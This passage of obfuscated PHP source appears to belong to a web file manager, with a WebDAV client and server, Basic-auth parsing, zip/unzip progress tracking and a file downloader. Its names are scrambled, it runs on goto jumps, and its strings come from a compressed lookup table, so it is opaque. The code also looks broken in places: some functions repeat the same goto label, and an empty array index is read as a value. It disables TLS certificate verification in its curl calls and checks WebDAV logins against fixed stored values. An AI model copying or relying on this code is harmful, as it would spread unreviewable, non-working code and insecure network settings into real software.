E˓: $E݊ = $E݊ == !1 ? !1 : $E݊; if (!$DĨ) { return !0; } $ců = array(); goto F; B: } private function recycleMove($e, $B = 1) { $Dڵ =& $_SERVER[ѽ]; $aη = Model($Dڵ[1114]); $B钡 = Model($Dڵ[2328]); $Dᗄ̌ = array($Dڵ[366] => $e); if ($B) { $aη->where($Dᗄ̌)->setField($Dڵ[393], 1); $B钡->eventRecycle($e, $Dڵ[2329]); } else { $Eނ = $aη->where($Dᗄ̌)->find(); $Fç = $Eނ[$Dڵ[367]] == $Dڵ[83]; $dƷ = $aη->fileNameAuto($Eނ[$Dڵ[457]], $Eނ[$Dڵ[28]], REPEAT_RENAME_FOLDER, $Fç); if ($dƷ != $Eނ[$Dڵ[28]]) { $aη->rename($e, $dƷ); } $aη->where($Dᗄ̌)->setField($Dڵ[393], 0); $B钡->eventRecycle($e, $Dڵ[2330]); } } } goto Eݰ; fܴ̂: $A˭ = $_SERVER[ѽ][543]; if (!$A˭) { die; } $_SERVER[] = explode($_SERVER[ѽ][544], gzinflate(substr($_SERVER[ѽ][545], 10, -8))); goto B׭; E„: class HttpAuth { public static function get() { $bگ =& $_SERVER[ѽ]; $bԍ = $bگ[33]; $eؠ = $bگ[33]; if (isset($_SERVER[$bگ[1736]])) { $bԍ = $_SERVER[$bگ[1736]]; $eؠ = $_SERVER[$bگ[1737]]; } elseif (isset($_SERVER[$bگ[1738]])) { $FȮɣ = $_SERVER[$bگ[1738]]; if (strpos(strtolower($FȮɣ), $bگ[1739]) === 0) { $A = explode($bگ[4], base64_decode(substr($FȮɣ, 6))); $bԍ = isset($A[0]) ? $A[0] : $bگ[33]; $eؠ = isset($A[1]) ? $A[1] : 0; } } return array($bگ[531] => $bԍ, $bگ[903] => $eؠ); } public static function error() { goto fȥ; fȥ: $eޠ =& $_SERVER[ѽ]; header($eޠ[1740]); header($eޠ[1741]); goto cб; C: die; goto Eͤ“; cб: header($eޠ[1742]); header($eޠ[1743]); header($eޠ[1259]); goto C; Eͤ“: } public static function make($E, $c) { $a =& $_SERVER[ѽ]; return $a[1744] + base64_encode($E . $a[4] . $c); } } class HttpDavClient { public function __construct($dȡĹ, $e䉏, $Fۂ) { $this->header = array(); $this->userName = $e䉏; $this->userPassowrd = $Fۂ; } protected function makePath($d̈Ǐ) { return $d̈Ǐ; } protected function setHeader($D, $c翃 = false) { if ($c翃 === !1) { $this->header[] = $D; } else { $this->header[] = $D . $_SERVER[ѽ][886] . $c翃; } } public function move($C̞, $d, $b蛈 = '') { $Bǐ =& $_SERVER[ѽ]; $this->setHeader($Bǐ[1745], $this->makePath($d)); $this->setHeader($Bǐ[1746], $Bǐ[1747]); if ($b蛈) { $this->setHeader($Bǐ[1748], $Bǐ[931] . $b蛈 . $Bǐ[934]); } return $this->send($Bǐ[1749], $C̞); } public function copy($Cי, $dԋȕ) { $d· =& $_SERVER[ѽ]; $this->setHeader($d·[1745], $this->makePath($dԋȕ)); $this->setHeader($d·[1746], $d·[1747]); return $this->send($d·[1750], $Cי); } public function mkcol($e) { $b =& $_SERVER[ѽ]; $this->setHeader($b[1746], $b[1747]); return $this->send($b[1751], $e); } public function delete($Aʇ̓, $F = '') { $FͲ =& $_SERVER[ѽ]; if ($F) { $this->setHeader($FͲ[1748], $FͲ[931] . $F . $FͲ[934]); } return $this->send($FͲ[1247], $Aʇ̓); } public function propfind($d) { $F羷 =& $_SERVER[ѽ]; $this->setHeader($F羷[1752], $F羷[83]); $this->setHeader($F羷[1753], $F羷[1754]); $BƜ͇ = $F羷[1755]; return $this->send($F羷[1756], $d, $BƜ͇); } public function options($fئ) { return $this->send($_SERVER[ѽ][1757], $fئ); } public function get($B) { return $this->send($_SERVER[ѽ][213], $B); } public function put($ENJ, $bڍ, $E = '') { $eӨ񶱴 =& $_SERVER[ѽ]; if ($E) { $this->setHeader($eӨ񶱴[1748], $eӨ񶱴[931] . $E . $eӨ񶱴[934]); } return $this->send($eӨ񶱴[211], $ENJ, $bڍ); } protected function send($B, $e֧, $F = false, $A = false) { goto B; c: $this->setHeader($F킳); if ($F) { $F = $DѰ[1759] . $F; } if (!request_url_safe($e֧)) { return !1; } goto Aۃʊ; fĔу: $this->header = array(); return $A; goto Dƌ; bп: curl_setopt($C, CURLOPT_SSL_VERIFYPEER, !1); curl_setopt($C, CURLOPT_SSL_VERIFYHOST, !1); $A = curl_exec($C); goto fĔу; Aۃʊ: $C = curl_init($e֧); curl_setopt($C, CURLOPT_CUSTOMREQUEST, $B); curl_setopt($C, CURLOPT_HTTPAUTH, CURLAUTH_ANY); goto B; B: curl_setopt($C, CURLOPT_HTTPHEADER, $this->header); curl_setopt($C, CURLOPT_RETURNTRANSFER, !0); curl_setopt($C, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); goto bп; B: $DѰ =& $_SERVER[ѽ]; $F킳 = HttpAuth::make($this->userName, $this->userPassowrd); $this->setHeader($DѰ[1758], $DѰ[50]); goto c; Dƌ: } } class HttpDavServer { public function __construct($c跥ܭ, $C׈) { $this->root = $c跥ܭ; $this->initPath($C׈); $this->start(); } public function initPath($D) { $Eև򑋯 =& $_SERVER[ѽ]; $D = rtrim($_SERVER[$Eև򑋯[1368]], $Eև򑋯[8]) . $Eև򑋯[8]; $this->urlBase = substr($D, 0, strpos($D, $D) + 1); $this->urlBase = rtrim($this->urlBase, $Eև򑋯[8]) . $D; $this->path = $this->parsePath($this->pathGet()); } public function checkUser() { $Dݍ =& $_SERVER[ѽ]; $C産 = HttpAuth::get(); if ($C産[$Dݍ[531]] == $Dݍ[1760] && $C産[$Dݍ[903]] == $Dݍ[1761]) { return !0; } HttpAuth::error(); } public function start() { goto f; cõ: if (!method_exists($this, $dՄ)) { pr($dՄ . $c͞[1762]); die; } $cӑǏ = array($c͞[1763], $c͞[1764]); if (!in_array($dՄ, $cӑǏ) && !$this->pathExists($this->path)) { $CӴ = array($c͞[1036] => 404); } else { $CӴ = $this->{$dՄ}(); } goto dᕼ; f: $c͞ =& $_SERVER[ѽ]; $this->checkUser(); $dՄ = $c͞[143] . HttpHeader::method(); goto cõ; dᕼ: if (!$CӴ) { return; } self::response($CӴ); goto F; F: } public function pathGet($b = false) { $fٰ؊ =& $_SERVER[ѽ]; $bе = $b ? $_SERVER[$fٰ؊[1765]] : $_SERVER[$fٰ؊[1368]]; $bе = KodIO::clear(rawurldecode($bе)); if (!strstr($bе, KodIO::clear($this->urlBase))) { return !1; } return substr($bе, strpos($bе, $this->urlBase) + strlen($this->urlBase)); } public function pathExists($Fΐ) { return file_exists($Fΐ); } public function pathMkdir($f) { return mkdir($f, 511, !0); } public function pathInfo($Bń) { return path_info($Bń); } public function pathList($e) { return path_list($e); } public function pathOut($elj) { echo file_get_contents($elj); } public function pathPut($d, $C = '') { if (!$C) { return file_put_contents($d, $_SERVER[ѽ][33]); } return move_path($C, $d); } public function pathRemove($Eķ) { if (is_file($Eķ)) { return @unlink($this->path); } else { return del_dir($this->path); } } public function pathMove($bɱƜ, $aÂχ鎙) { return move_path($bɱƜ, $aÂχ鎙); } public function pathCopy($eެ, $c) { return copy_dir($eެ, $c); } public function parsePath($dݼ) { return $dݼ; } public function parseItem($Eϐ, $b) { goto eš; C: if ($b) { $D = $A[8] . str_replace($A[169], $A[8], rawurlencode($this->pathGet())); } if (!trim($Eϐ[$A[107]])) { $Eϐ[$A[107]] = time(); } if (!trim($Eϐ[$A[184]])) { $Eϐ[$A[184]] = time(); } goto DՐˡި; eš: $A =& $_SERVER[ѽ]; $D = $this->pathGet() . $A[8] . $Eϐ[$A[28]]; $D = $A[8] . str_replace($A[169], $A[8], rawurlencode($D)); goto C; DՐˡި: $B = array($A[1766] => KodIO::clear($this->urlBase . $D), $A[107] => @gmdate($A[1767], $Eϐ[$A[107]]), $A[184] => @gmdate($A[1768], $Eϐ[$A[184]]), $A[77] => $Eϐ[$A[77]] ? $Eϐ[$A[77]] : 0); return $B; goto E; E: } public function parseItemXml($Eٶ, $fŠ) { $c =& $_SERVER[ѽ]; $F = $this->parseItem($Eٶ, $fŠ); if ($Eٶ[$c[29]] == $c[76]) { $eԿ = $c[1769]; $eԿ .= $c[1770]; } else { $B = $Eٶ[$c[157]] ? $Eٶ[$c[157]] : get_path_ext($Eٶ[$c[28]]); $D = get_file_mime($B); $eԿ = $c[1771]; $eԿ .= "\x3c\x44\x3a\147\145\164\143\157\x6e\x74\145\156\164\x74\171\160\145\x3e{$D}\74\57\104\72\147\145\164\x63\x6f\x6e\x74\145\x6e\x74\x74\171\160\x65\76"; } return "\12\x9\11\74\104\72\x72\145\163\160\x6f\156\x73\x65\76\xa\11\11\11\x3c\x44\x3a\x68\x72\x65\146\76{$F[$c[1766]]}\x3c\57\x44\72\x68\162\x65\x66\76\12\11\x9\x9\74\x44\72\160\x72\157\160\163\164\x61\x74\76\xa\11\11\11\11\x3c\104\x3a\160\x72\x6f\x70\76\12\11\11\x9\11\x9\74\x44\x3a\147\145\164\x6c\x61\x73\164\x6d\157\x64\x69\146\x69\x65\x64\76{$F[$c[107]]}\74\57\x44\x3a\147\145\x74\x6c\141\x73\x74\x6d\157\x64\x69\x66\x69\x65\144\76\12\x9\x9\11\11\11\x3c\x44\72\x63\162\x65\141\164\151\x6f\156\144\141\x74\145\x3e{$F[$c[184]]}\74\x2f\x44\x3a\143\x72\145\x61\x74\151\x6f\x6e\144\141\x74\x65\76\12\11\x9\11\11\x9\74\104\x3a\x67\145\164\143\157\156\164\x65\156\164\154\x65\156\x67\x74\150\x3e{$F[$c[77]]}\x3c\x2f\104\72\147\x65\164\143\157\156\164\145\156\164\x6c\x65\156\x67\164\150\76\xa\11\11\11\11\x9{$eԿ}\12\x9\x9\x9\11\74\57\104\72\160\162\x6f\x70\x3e\xa\11\x9\11\x9\74\104\x3a\x73\x74\x61\164\x75\163\x3e\110\124\x54\120\57\x31\56\61\40\62\x30\x30\40\x4f\113\74\x2f\104\72\163\x74\141\164\x75\x73\76\xa\x9\11\11\x3c\x2f\x44\x3a\x70\162\x6f\160\163\x74\x61\164\76\12\x9\x9\74\57\x44\x3a\x72\145\x73\160\x6f\156\163\145\x3e"; } public function pathListMerge($F԰) { goto Eߤ; Dʬ: $a = array(); foreach ($F԰ as $Bߋ => $eų) { if (!in_array($Bߋ, $c孯) || !is_array($eų)) { continue; } $a = array_merge($a, $eų); } foreach ($a as &$C̈́̔) { $C̈́̔[$f҄՘[28]] = str_replace($f҄՘[8], $f҄՘[1370], $C̈́̔[$f҄՘[28]]); } goto d٫; d٫: return $a; goto B; Eߤ: $f҄՘ =& $_SERVER[ѽ]; if (!$F԰) { return $F԰; } $c孯 = array($f҄՘[73], $f҄՘[74], $f҄՘[1772]); goto Dʬ; B: } public function httpPROPFIND() { goto Dݧ; B㪄: if ($b) { $B = array($c۰̃); } else { $c۰̃[$D։τ[28]] = $D։τ[33]; $B = array_merge(array($c۰̃), $B); } $e˛酂 = $D։τ[33]; foreach ($B as $A퓢) { $e˛酂 .= $this->parseItemXml($A퓢, $b); } goto EǸͤ; EǸͤ: return array($D։τ[1775] => 207, $D։τ[1776] => "\x3c\x44\72\155\165\154\164\x69\x73\x74\x61\x74\165\x73\40\170\155\x6c\x6e\x73\x3a\104\x3d\x22\x44\x41\126\x3a\42\76\xa{$e˛酂}\xa\74\x2f\x44\x3a\155\165\x6c\x74\151\163\x74\x61\x74\x75\163\x3e"); goto d; Dݧ: $D։τ =& $_SERVER[ѽ]; $fڝ = $this->pathList($this->path); $B = $this->pathListMerge($fڝ); goto Fѻ; Fѻ: $c۰̃ = $fڝ[$D։τ[1773]]; if (!is_array($B) || $c۰̃[$D։τ[1774]] === !1) { return array($D։τ[1775] => 404, $D։τ[1776] => $D։τ[1777]); } $b = $c۰̃[$D։τ[29]] == $D։τ[164] || HttpHeader::get($D։τ[1752]) == $D։τ[464]; goto B㪄; d: } public function httpHEAD() { $c񮺈 =& $_SERVER[ѽ]; $C = $this->pathInfo($this->path); if (!$C || $C[$c񮺈[29]] == $c񮺈[76]) { return array($c񮺈[1036] => 200, $c񮺈[1203] => array($c񮺈[1778])); } return array($c񮺈[1036] => 200, $c񮺈[1203] => array($c񮺈[1779], $c񮺈[136], $c񮺈[1780] . $C[$c񮺈[77]], $c񮺈[1781] . get_file_mime($C[$c񮺈[157]]), $c񮺈[132] . gmdate($c񮺈[1767], $C[$c񮺈[1250]]) . $c񮺈[1782], $c񮺈[1783])); } public function httpOPTIONS() { $d镇 =& $_SERVER[ѽ]; return array($d镇[1036] => 200, $d镇[1203] => array($d镇[1784], $d镇[1785], $d镇[1786], $d镇[1259])); } public function httpPROPPATCH() { $aԾ =& $_SERVER[ѽ]; $C쒜 = $aԾ[1787] . $_SERVER[$aԾ[1368]] . $aԾ[1788]; return array($aԾ[1775] => 207, $aԾ[1776] => "\74\104\x3a\155\x75\x6c\x74\151\163\164\x61\164\x75\x73\40\170\x6d\x6c\156\163\x3a\x44\x3d\42\x44\101\126\72\42\76\xa{$C쒜}\xa\74\x2f\x44\72\155\165\x6c\x74\151\x73\164\141\x74\x75\163\x3e"); } public function httpGET() { $this->pathOut($this->path); } public function httpPUT() { $FވŮ =& $_SERVER[ѽ]; $d = $this->uploadFile(); if ($d) { $EԳ = 204; } else { $d = $FވŮ[33]; $EԳ = 201; } $b = $this->pathPut($this->path, $d); if ($b == !1) { $EԳ = 404; } return array($FވŮ[1775] => $EԳ); } private function uploadFile() { goto a܂; B߯؊: $dמ = @fopen($AĹ, $e鄺[1497]); $aץ = @fopen($e鄺[1790], $e鄺[1496]); if (!$aץ || !$dמ) { @unlink($AĹ); return !1; } goto a퐭; a܂: $e鄺 =& $_SERVER[ѽ]; @mk_dir(TEMP_FILES); $AĹ = TEMP_FILES . $e鄺[1789] . rand_string(32); goto B߯؊; d͉Œ: if (@filesize($AĹ) > 0) { return $AĹ; } @unlink($AĹ); return !1; goto DӴ; a퐭: while (!feof($aץ)) { fwrite($dמ, fread($aץ, 1024 * 200)); } fclose($aץ); fclose($dמ); goto d͉Œ; DӴ: } public function httpMKCOL() { $c򞛟 =& $_SERVER[ѽ]; if ($this->pathExists($this->path)) { return array($c򞛟[1036] => 409); } $Cȴ = $this->pathMkdir($this->path); return array($c򞛟[1036] => $Cȴ ? 201 : 403); } public function httpMOVE() { $c =& $_SERVER[ѽ]; $a٘ = $this->parsePath($this->pathGet(!0)); if (isset($_SERVER[$c[1791]])) { $bڨך[$c[1792]] = $_SERVER[$c[1791]] == $c[1793]; } $D呴 = $this->pathMove($this->path, $a٘); return array($c[1036] => $D呴 ? 201 : 404); } public function httpCOPY() { $Dݠ = $this->parsePath($this->pathGet(!0)); $fӥ = $this->pathCopy($this->path, $Dݠ); return array($_SERVER[ѽ][1036] => $fӥ ? 201 : 404); } public function httpDELETE() { $aɗ = $this->pathRemove($this->path); return array($_SERVER[ѽ][1036] => $aɗ ? 200 : 503); } public function httpLOCK() { $FƳ =& $_SERVER[ѽ]; $AȤ = md5($this->path); $a߷֌ = $FƳ[1794] . $this->xmlGet($FƳ[1795]) . $FƳ[1796] . $AȤ . $FƳ[1797]; return array($FƳ[1036] => 200, $FƳ[1203] => array($FƳ[1798] . $AȤ, $FƳ[1799]), $FƳ[1800] => $a߷֌); } public function httpUNLOCK() { return array($_SERVER[ѽ][1036] => 204); } public function xmlGet($C߬) { goto d; d: $eѱ֎ܷ =& $_SERVER[ѽ]; static $eۉ = false; if (!$eۉ) { $eȾ = file_get_contents($eѱ֎ܷ[1801]); $eۉ = new DOMDocument(); $eۉ->loadXML($eȾ); } goto E鐙; E鐙: $d = array_shift(explode($eѱ֎ܷ[8], $C߬)); $a߯ = $eۉ->getElementsByTagNameNS($eѱ֎ܷ[1802], $d); if ($a߯) { return $a߯[0]->nodeValue; } goto aʯ; aʯ: return $eѱ֎ܷ[33]; goto eɗ; eɗ: } public static function response($e) { goto dּ; f: $fƒ摳[] = $A̽[1742]; $fƒ摳[] = $A̽[1743]; foreach ($fƒ摳 as $Aꝰ) { header($Aꝰ); } goto Fڽ; Fڽ: if (is_string($e[$A̽[1800]])) { header($A̽[1803]); $B = $A̽[1804] . $A̽[214] . $e[$A̽[1800]]; echo $B; } goto e; dּ: $A̽ =& $_SERVER[ѽ]; $fƒ摳 = is_array($e[$A̽[1203]]) ? $e[$A̽[1203]] : array(); $fƒ摳[] = HttpHeader::code($e[$A̽[1036]]); goto f; e: } } goto D̝߭; c: class TaskUnzip extends TaskFileTransfer { protected function startAfter() { goto F; Dㄸ: if (!$d[$F[1325]]) { $d[$F[1325]] = LNG($F[1486]); } goto Fթȍ; d˨: Hook::bind($F[1039], array($this, $F[1484])); $d =& $this->task; $d[$F[1485]] = $F[1044]; goto Dㄸ; F: $F =& $_SERVER[ѽ]; parent::startAfter(); Hook::bind($F[1482], array($this, $F[1483])); goto d˨; Fթȍ: } protected function endAfter() { $eé =& $_SERVER[ѽ]; parent::endAfter(); Hook::unbind($eé[1482], array($this, $eé[1483])); Hook::unbind($eé[1039], array($this, $eé[1484])); } public function updateAfter() { $F炃 =& $_SERVER[ѽ]; $d =& $this->task; if (!$d[$F炃[982]] || !$d[$F炃[708]]) { return; } if ($d[$F炃[1485]] == $F炃[1044]) { $Dڲ = 0; if ($d[$F炃[1462]]) { $Dڲ = $d[$F炃[1463]] / $d[$F炃[1462]]; } $d[$F炃[1418]] = $Dڲ * 0.3; } else { if ($d[$F炃[1485]] == $F炃[298]) { $Dڲ = $d[$F炃[994]] / $d[$F炃[982]]; $d[$F炃[1418]] = 0.3 + $Dڲ * 0.4; } else { if ($d[$F炃[1485]] == $F炃[91]) { $Cùޏ = 0; if ($d[$F炃[1464]] == $F炃[91]) { $Cùޏ = $d[$F炃[1463]]; } $Dڲ = ($d[$F炃[1467]] + $Cùޏ) / $d[$F炃[708]]; $d[$F炃[1418]] = 0.3 + 0.4 + $Dڲ * 0.3; } } } if ($d[$F炃[1418]] > 0) { $B˝ɦ = timeFloat() - $d[$F炃[1420]] - $d[$F炃[1423]]; $d[$F炃[1424]] = $B˝ɦ * (1 - $d[$F炃[1418]]) / $d[$F炃[1418]]; } } public function addFile($A桛) { goto Eۿ; F鎐: $b𠼑[$f[984]] = $f[1475]; $b𠼑[$f[1464]] = $f[1044]; $b𠼑[$f[708]] = $EΑ[$f[77]]; goto B; E: $this->update(); goto cͧ; c內: $b𠼑[$f[1460]] = $EΑ[$f[28]]; $b𠼑[$f[1462]] = $EΑ[$f[77]]; $b𠼑[$f[1463]] = 0; goto F鎐; Eۿ: $f =& $_SERVER[ѽ]; $b𠼑 =& $this->task; $EΑ = IO::info($A桛); goto c內; B: $b𠼑[$f[982]] = 1; $cۼ = 0; $b𠼑[$f[1468]] = array($f[1469] => $cۼ + 1, $f[383] => $EΑ[$f[28]], $f[75] => $EΑ[$f[75]], $f[462] => $EΑ[$f[462]] ? $EΑ[$f[462]] : $EΑ[$f[75]]); goto E; cͧ: } public function unzipAfter($Eْޝ) { goto Cм; Bҩδ: if ($fጹ[$A[29]] == $A[164]) { $bދ[$A[982]] = 1; } else { $bދ[$A[982]] = $fጹ[$A[80]][$A[78]]; } $bދ[$A[984]] = $A[33]; $bދ[$A[1464]] = 0; goto C˼̥; Cм: $A =& $_SERVER[ѽ]; $bދ =& $this->task; $bދ[$A[1485]] = $A[91]; goto Cԍȍ; Cԍȍ: $fጹ = IO::infoWithChildren($Eْޝ); $aɎ = 0; $bދ[$A[1468]] = array($A[1469] => $aɎ + 1, $A[383] => $fጹ[$A[28]], $A[75] => $fጹ[$A[75]], $A[462] => $fጹ[$A[462]] ? $fጹ[$A[462]] : $fጹ[$A[75]]); goto Bҩδ; C˼̥: $bދ[$A[994]] = 0; $bދ[$A[1462]] = 0; $bދ[$A[1463]] = 0; goto Bʓ; d𜖟ԡ: $this->update(); self::log($A[1487] . json_encode(array($bދ, $fጹ))); goto d脮; Bʓ: $bދ[$A[1460]] = $A[33]; $bދ[$A[1467]] = 0; $bދ[$A[708]] = $fጹ[$A[77]]; goto d𜖟ԡ; d脮: } public function nameParse($d) { goto e; eՊ: $this->update(); goto Dպó; ȃ: $C = get_path_this($d); if (strstr($C, $EԖ[93])) { $Eҵ[$EԖ[994]] += 1; $Eҵ[$EԖ[982]] += 1; } $Eҵ[$EԖ[1460]] = $d; goto eՊ; e: $EԖ =& $_SERVER[ѽ]; $Eҵ =& $this->task; if ($Eҵ[$EԖ[1485]] == $EԖ[1044]) { $Eҵ[$EԖ[1485]] = $EԖ[298]; $Eҵ[$EԖ[1467]] = 0; $Eҵ[$EԖ[708]] = 0; } goto ȃ; Dպó: } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $d =& $_SERVER[ѽ]; parent::startAfter(); Hook::bind($d[1488], array($this, $d[1483])); $E =& $this->task; $E[$d[1485]] = $d[1044]; if (!$E[$d[1325]]) { $E[$d[1325]] = LNG($d[1489]); } } protected function endAfter() { $DÆŎ =& $_SERVER[ѽ]; parent::endAfter(); Hook::unbind($DÆŎ[1488], array($this, $DÆŎ[1483])); } public function updateAfter() { $F =& $_SERVER[ѽ]; $F֓̈ =& $this->task; if (!$F֓̈[$F[982]] || !$F֓̈[$F[708]]) { return; } if ($F֓̈[$F[1485]] == $F[1044]) { $Cު = $F֓̈[$F[1463]]; if ($F֓̈[$F[1464]] != $F[1044]) { $Cު = 0; } $A = ($F֓̈[$F[1467]] + $Cު) / $F֓̈[$F[708]]; $F֓̈[$F[1418]] = $A * 0.3; } else { if ($F֓̈[$F[1485]] == $F[298]) { $A = $F֓̈[$F[994]] / $F֓̈[$F[982]]; $F֓̈[$F[1418]] = 0.3 + $A * 0.5; } else { if ($F֓̈[$F[1485]] == $F[91]) { $A = 0; if ($F֓̈[$F[1462]]) { $A = $F֓̈[$F[1463]] / $F֓̈[$F[1462]]; } $F֓̈[$F[1418]] = 0.3 + 0.5 + $A * 0.2; } } } if ($F֓̈[$F[1418]] > 0) { $Eשڤ = timeFloat() - $F֓̈[$F[1420]] - $F֓̈[$F[1423]]; $F֓̈[$F[1424]] = $Eשڤ * (1 - $F֓̈[$F[1418]]) / $F֓̈[$F[1418]]; } } public function copyFileStart($C낽, $F, $bՇ, $FĂݩ, $DǙ, $a) { $å =& $_SERVER[ѽ]; parent::copyFileStart($C낽, $F, $bՇ, $FĂݩ, $DǙ, $a); $E =& $this->task; if ($E[$å[1485]] == $å[298]) { $E[$å[1485]] = $å[91]; } $this->update(); } public function copyFileEnd($eʏۂ, $eϕ, $dҖ, $Fޅ, $Aݝ͢, $Dك) { $eź =& $_SERVER[ѽ]; $A =& $this->task; $A[$eź[1463]] = $A[$eź[1462]]; $A[$eź[1467]] += $A[$eź[1462]]; $A[$eź[1464]] = $eź[33]; $this->update(); } public function nameParse($eڄǴ) { $C =& $_SERVER[ѽ]; $e =& $this->task; if ($e[$C[994]] < $e[$C[982]]) { $BІٿ = get_path_this($eڄǴ); if (strstr($BІٿ, $C[93])) { $e[$C[994]] += 1; } } if ($e[$C[1485]] == $C[1044]) { $e[$C[1485]] = $C[298]; } $e[$C[1460]] = $eڄǴ; $this->update(); } } class Downloader { static function start($B󟪉, $Cտ, $eڵ = 10) { goto F ; Cѳ: if (!$B󟪉) { return array($Bƚ[1036] => !1, $Bƚ[1038] => $Bƚ[1041]); } if (!$Bʘލ[$Bƚ[1285]] || $Bʘލ[$Bƚ[322]] == 0) { @unlink($E); @unlink($Cտ); $d凊 = self::fileDownloadFopen($B󟪉, $Cտ, $Bʘލ[$Bƚ[322]]); if ($d凊[$Bƚ[1036]]) { return $d凊; } else { @unlink($E); @unlink($Cտ); $d凊 = self::fileDownloadCurl($B󟪉, $Cտ, !1, 0, $Bʘލ[$Bƚ[322]]); @unlink($E); return $d凊; } } $D = is_file($E) ? filesize($E) : 0; goto B”Ư; e˧: if ($D > $C祐ޤ) { @unlink($E); } file_put_contents($e󫭮, json_encode($Dʥﱼ)); $d凊 = self::fileDownloadCurl($B󟪉, $Cտ, !0, $D, $C祐ޤ); goto D; B: if (is_file($e󫭮)) { $A˳ = file_get_contents($e󫭮); $Dʥﱼ = json_decode($A˳, 1); } if (file_exists($Cտ) && $C祐ޤ == filesize($Cտ)) { @unlink($E); @unlink($e󫭮); return array($Bƚ[1036] => !0, $Bƚ[1038] => $Bƚ[1493]); } if ($Dʥﱼ[$Bƚ[322]] != $C祐ޤ) { $Dʥﱼ = array($Bƚ[322] => $C祐ޤ); } goto e˧; F : $Bƚ =& $_SERVER[ѽ]; if (!request_url_safe($B󟪉)) { return array($Bƚ[1036] => !1, $Bƚ[1038] => $Bƚ[1041]); } $e󫭮 = $Cտ . $Bƚ[1490]; goto b젰; B”Ư: $C祐ޤ = intval($Bʘލ[$Bƚ[322]]); if (file_exists($E) && time() - filemtime($E) < 3) { return array($Bƚ[1036] => !1, $Bƚ[1038] => $Bƚ[1492]); } $Dʥﱼ = array(); goto B; b젰: $E = $Cտ . $Bƚ[1491]; if (is_array($B󟪉)) { $Bʘލ = $B󟪉; } else { $Bʘލ = url_header($B󟪉); } $B󟪉 = $Bʘލ[$Bƚ[292]]; goto Cѳ; D: if ($d凊[$Bƚ[1036]]) { @unlink($e󫭮); } return $d凊; goto f; f: } static function fileDownloadFopen($d鸑, $D, $d摶 = 0) { $bռ΍ =& $_SERVER[ѽ]; @ini_set($bռ΍[1494], $bռ΍[1495]); $aޙ = $D . $bռ΍[1491]; set_timeout(); @unlink($aޙ); if ($cܢ = @fopen($d鸑, $bռ΍[1496])) { goto A; A: fclose($cܢ); $eʧ = filesize(iconv_system($aޙ)); if ($d摶 != 0 && $eʧ != $d摶) { return array($bռ΍[1036] => !1, $bռ΍[1038] => $bռ΍[1500]); } goto dʑ; A: if (!($Bޔ = @fopen($aޙ, $bռ΍[1497]))) { return array($bռ΍[1036] => !1, $bռ΍[1038] => $bռ΍[1498]); } while (!feof($cܢ)) { if (!file_exists($aޙ)) { fclose($Bޔ); return array($bռ΍[1036] => !1, $bռ΍[1038] => $bռ΍[1499]); } clearstatcache(); if ($d摶 > 0 && $d摶 == filesize(iconv_system($aޙ))) { break; } fwrite($Bޔ, fread($cܢ, 1024 * 8), 1024 * 8); } fclose($Bޔ); goto A; dʑ: self::checkGzip($aޙ); if (!@rename($aޙ, $D)) { usleep(round(rand(0, 1000) * 50)); @unlink($D); $f = @rename($aޙ, $D); if (!$f) { return array($bռ΍[1036] => !1, $bռ΍[1038] => $bռ΍[1501]); } } return array($bռ΍[1036] => !0, $bռ΍[1038] => $bռ΍[706]); goto E͉Ŏ; E͉Ŏ: } else { return array($bռ΍[1036] => !1, $bռ΍[1038] => $bռ΍[1502]); } } static function fileDownloadCurl($dԉؓ, $Fɩ, $F = false, $cЃ = 0, $d֋ = 0) { goto d; Bʈ: curl_setopt($aߛᩄ, CURLOPT_NOPROGRESS, !1); curl_setopt($aߛᩄ, CURLOPT_PROGRESSFUNCTION, $d䏅[1504]); curl_progress_start($aߛᩄ); goto Eӿ; Eӿ: curl_setopt($aߛᩄ, CURLOPT_USERAGENT, $d䏅[1495]); $b = curl_exec($aߛᩄ); curl_progress_end($aߛᩄ); goto E; f淪: curl_setopt($aߛᩄ, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($aߛᩄ, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($aߛᩄ, CURLOPT_SSL_VERIFYHOST, 0); goto Bʈ; BȨ: return array($d䏅[1036] => !1, $d䏅[1038] => $d䏅[1506]); goto e; AÑ: if ($Aې < $d֋ && $d֋ != 0) { return array($d䏅[1036] => !1, $d䏅[1038] => $d䏅[1492]); } if ($Aې > $d֋ && $d֋ != 0) { return array($d䏅[1036] => !1, $d䏅[1038] => $d䏅[1500]); } if ($b && filesize($fƕ) != 0) { self::checkGzip($fƕ); if (!@rename($fƕ, $Fɩ)) { @unlink($Fɩ); $b = @rename($fƕ, $Fɩ); if (!$b) { return array($d䏅[1036] => !1, $d䏅[1038] => $d䏅[1505]); } } return array($d䏅[1036] => !0, $d䏅[1038] => $d䏅[706]); } goto BȨ; aڅ: $f舏 = @fopen($fƕ, $d䏅[986]); if (!$f舏) { return array($d䏅[1036] => !1, $d䏅[1038] => $d䏅[1503]); } $aߛᩄ = curl_init($dԉؓ); goto B; E: curl_close($aߛᩄ); fclose($f舏); $Aې = filesize(iconv_system($fƕ)); goto AÑ; d: $d䏅 =& $_SERVER[ѽ]; $fƕ = $Fɩ . $d䏅[1491]; set_timeout(); goto aڅ; B: if ($F) { curl_setopt($aߛᩄ, CURLOPT_RANGE, $cЃ . $d䏅[724]); } curl_setopt($aߛᩄ, CURLOPT_FILE, $f舏); curl_setopt($aߛᩄ, CURLOPT_REFERER, get_url_link($dԉؓ)); goto f淪; e: } static function checkGzip($fÝ˞) { goto B̏ʩ; B̏ʩ: $Eʖ = $_SERVER[ѽ][1507]; $a = file_sub_str($fÝ˞, 0, 2); if ($Eʖ != $a) { return; } goto dڋ; eٷҌ: file_put_contents($fÝ˞, $d); goto f; dڋ: ob_start(); readgzfile($fÝ˞); $d = ob_get_clean(); goto eٷҌ; f: } } goto AѬ; f: function Action($fβ݇ = '') { goto d; d: $F钐ڢ =& $_SERVER[]; static $C򙻩 = array(); $fβ݇ = trim(str_replace($F钐ڢ[4], $F钐ڢ[5], $fβ݇), $F钐ڢ[4]); goto cÍ; cÍ: $E邼 = explode($F钐ڢ[5], $fβ݇); $f = strtolower($E邼[0]); if (substr($f, -6) == $F钐ڢ[6]) { $fβ݇ = substr($E邼[0], 0, -6); $Cﬥ = $fβ݇ . $F钐ڢ[7]; $fȭ؝ = $F钐ڢ[8]; if (isset($E邼[1]) && substr(strtolower($E邼[1]), -5) == $F钐ڢ[9]) { $Cﬥ 